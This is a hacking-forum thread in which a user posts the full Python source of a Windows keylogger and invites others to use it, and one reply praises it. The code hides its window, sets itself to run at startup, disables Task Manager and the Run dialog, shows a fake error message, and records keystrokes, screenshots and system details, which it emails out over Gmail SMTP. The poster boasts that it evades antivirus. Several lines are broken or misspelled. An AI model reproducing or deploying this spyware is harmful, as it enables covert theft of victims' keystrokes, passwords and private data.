Python Keylogger.

Wheelz

Member
Reputation
0
Yea so this was a project I was working on with a friend a looong time ago, its basically a Keylogger coded in Python. This is the raw code right below, all that needs to be changed is the e-mail and the password.

So what do you guys think?

PHP:
# ---Import Needed Modules--- #

import win32api
import win32console
import win32gui

import pythoncom
import pyHook

import socket

import shutil
import os
import platform
import sys

from urllib import urlopen

import smtplib
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

import ImageGrab

from time import strftime
import time

import threading
from threading import Thread
#----------------------------------------------------#


# ---Make Window Invisible--- #
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
#----------------------------------------------------#


# ---Protect the Keylogger--- #

def Self_Protection():
    os.system("red add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /REG_DWORD /d 1 /f")
    os.system("red add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f")
    os.system("red add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f")
    os.system("red add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 2 /f")
    os.system("attrib +a +s +h %windir%\regedit.exe")
    os.system("attrib +a +s +h %windir%\system32\regedit32.exe")
#----------------------------------------------------#


# ---Variables Definitions--- #

VB_SCRIPT = """Set fso = createobject("scripting.filesystemobject")
MsgBox "File is corrupted. Windows can not open the file",16,"Error"
fso.deletefile wscript.scriptfullname """

global Sender, To, Date, Time, Date_Time, log_file
Sender = 'EMAIL YOU MADE FOR THE KEYLOGGER'
To = Sender
password = 'EMAIL PASSWORD GOES HERE'
Date = strftime("%a %d %b %Y")
Time = strftime("%H:%M:%S %p")
Date_Time = strftime("(%a %d %b %Y)(%H %M %S %p)")
log_file = 'Log_File @ ['+win32api.GetComputerName()+']@'+strftime("[(%a %d %b %Y)(%H %M %S %p)]")+'.txt'
#----------------------------------------------------#


# ---Make the Keylogger Run at Start Up--- #

if os.path.exists(win32api.GetSystemDirectory()+'\\keylogger.exe') == False:
    shutil.move(os.getcwd()+'\\keylogger.exe', win32api.GetSystemDirectory()+'\\')
    os.system('reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Keylogger /t REG_SZ /d %windir%\system32\keylogger.exe /f')
    if os.getcwd != win32api.GetSystemDirectory():
              vbs = open('c:\\vbs.vbs','w')
              vbs.write(VB_SCRIPT)
              vbs.close()
              os.system("c:\\vbs.vbs")
              exit()
#----------------------------------------------------#


# ---Create the Log File--- #

f = open(log_file,'w')
line = '===================================='
f.write(line+'\n >>> Logging Started @ '+ Time + ' @ ' + Date +'\n'+line +'\n\n' )
f.close()
#----------------------------------------------------#



def Grab_System_Info():

        # ---Declarations--- #
        Sys_Info_File = 'System_Info @ ['+win32api.GetComputerName()+']@'+strftime("[(%a %d %b %Y)(%H %M %S %p)]")+'.txt',
        Get = ['External_IP: ' +urlopen('http//automation.whatismyip.com/n09230945.asp').read(),
                        'Internal_IP: ' +socket.gethostbyname(socket.gethostname()),
                        'Operating_System: '+platform.system() + ' ' + platform.release() + ' ' +sys.getwindowsversion()[4],
                        'Windows_Version:' + platform.version(),
                        'Bit_Architecture: '+str(platform.architecture()[0]),
                        'Domain_Name: '+win32api.GetDomainName(),
                        'Computer_Name: '+win32api.GetComputerName(),
                        'User_Name: '+win32api.GetUserName(),
                        'Processor_Name: '+platform.processor,
                        'Processor_Architecture: '+os.getenv('PROCESSOR_ARCHITECTURE'),
                        'Processors_Number: '+os.getenv('NUMBER_OF_PROCESSORS'),
                        'Windows_Directory: '+win32api.GetWindowsDirectory(),
                        'System_Directory: '+win32api.GetSystemDirectory()
                        ]
        # ---Define Functions to get MAC Address--- #
        def Get_MAC():
                for line in os.popen('ipconfig /all'):
                        if line.lstrip().startswith('Physical Address'):
                                mac = line.split(':')[1].strip().replace('-',':')
                                f.write('\n *- Mac Address: '+ mac)
        # ---Define Function to Send Sys_Info_File--- #
        def Send_File():
                File_To_Send = open(Sys_Info_File, 'rb')
                MSG = MIMEText(File_To_Send.read())
                File_To_Send.close()
                MSG['Subject'] = Sys_Info_File
                MSG['From'] = Sender
                MSG['To'] = To
                server = smtplib.SMTP('smtp.gmail.com:587')
                server.starttls()
                server.login(Sender,password)
                server.sendmail(Sender, [To], MSG.as_string())
                server.quit()
        # ---Create System Info File--- #
        f =open(Sys_Info_File,'w')
        f =open(Sys_Info_File,'a')
        f.write(Date_Time+ '\n ----------------------------\n')
        # ---Start Grabbing Info--- #
        Get_MAC()
        for i in Get:
                f.write('\n *-'+i)
        f.close()
        Send_File()
        # ---Delete the System Information File--- #
        os.remove(Sys_Info_File)
#----------------------------------------------------#


# ---Screenshot--- #
def Grab_Screenshot():
        # Take Screenshot
        screenshot_name = 'Screenshot@['+win32api.GetComputerName()+']@['+strftime("(%a %d %b %Y)(%H %M %S %p)")+'].jpg'
        screenshot = ImageGrab.grab().save(screenshot_name, 'JPEG')
        # Connect to Server
        server = smtplib.SMTP('smtp.gmail.com:587')
        server.starttls()
        server.login(Sender,password)
        # Send The Screenshot
        screenshot_data = open(screenshot_name, 'rb').read()
        screenshot_msg = MIMEMultipart(_subtype='related')
        screenshot_image = MIMEImage(screenshot_data, 'jpeg')
        screenshot_msg.attach(screenshot_image)
        screenshot_msg['Subject'] = screenshot_name
        screenshot_msg['From'] = Sender
        screenshot_msg['To'] = To
        server.sendmail(Sender, [To], screenshot_msg.as_string())
        os.remove(screenshot_name)
        server.quit()
        time.sleep(120)
#----------------------------------------------------#


def Key_Logger():
        def Start_Logging(event):
                f=open(log_file,'a')
                f.write(event.Key)
                f.close()
        hm = pyHook.HookManager()
        hm.KeyDown = Start_Loggin
        hm.HookKeyboard()
        pythoncom.PumpMessages()
#----------------------------------------------------#


# ---Start Keylogging--- #
Thread(target = Grab_System_Info).start()
Thread(target = Key_Logger).start()
Thread(target = Grab_Screenshot).start()
Thread(target = Send_Log_File).start()
Thread(target = Self_Protection).start()
#----------------------------------------------------#


I finished this a while ago, you can feel free to use it if you want. The best part about this is you don't need a Crypter it is %100 FUD already because it has only been used by a few people.

If you know anything about Python then you will know how to convert it from .py to .exe.

If you don't know how to do this read this. --> http://www.py2exe.org/index.cgi/Tutorial


#Note: I know Python isn't that popular on this Forum but I like it and hopefully it will be popular soon, it's a very powerful language if yu know how to use it right.
 
I actually love Python. I started learning it for my first scripting language just to get some coding background.

It looks nice. Simple, but nice.
 
Back
Top